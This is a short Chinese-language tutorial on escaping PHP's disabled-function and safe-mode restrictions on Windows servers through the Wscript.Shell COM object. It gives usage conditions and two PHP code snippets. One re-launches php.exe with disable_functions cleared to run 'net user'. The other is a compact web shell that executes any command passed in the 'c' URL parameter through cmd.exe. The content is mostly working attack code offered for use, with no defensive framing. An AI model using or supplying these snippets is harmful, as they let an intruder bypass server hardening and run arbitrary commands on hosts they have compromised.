php利用wsh突破函数禁用执行命令(安全模式同理)

时间:2023-12-11 18:52:44

很多时候有些windows的服务器是支持wsh组建的,但是却执行不了命令,asp下执行被拒绝,php下执行报错,此时你可以借鉴以下的方法尝试。

php利用wsh突破函数禁用执行命令(安全模式同理)
条件说明:

需要服务器是windows并支持wsh组建.且知道php安装目录
php在IIS环境下利用wsh执行命令是没有asp的权限高的。如果在apache环境下,apache默认都是system或administrator权限。

测试是否可以执行命令的时候,如果回显空白,可以多尝试一些命令,比如set,whoami,等等,因为有时候有些命令被禁用的,比如net类或者ipconfig命令就经常被禁用。

突破代码如下:

<?php
$cmd='net user';
$path = 'C:\\PHP\\php.exe';
$cmd='-r "system(\''.$cmd.'\');" -d disable_functions = '; //重新定义disable_functions函数
$phpwsh=new COM("Wscript.Shell") or die("Create Wscript.Shell Failed!");
$exec=$phpwsh->exec($path.' '.$cmd);
$stdout = $exec->StdOut();
$stroutput = $stdout->ReadAll();
echo "${stroutput}\n";
?>

或者:

<?php
$phpwsh=new COM("Wscript.Shell") or die("Create Wscript.Shell Failed!");
$exec=$phpwsh->exec("cmd.exe /c ".$_GET['c']."");
$stdout = $exec->StdOut();
$stroutput = $stdout->ReadAll();
echo $stroutput;
?>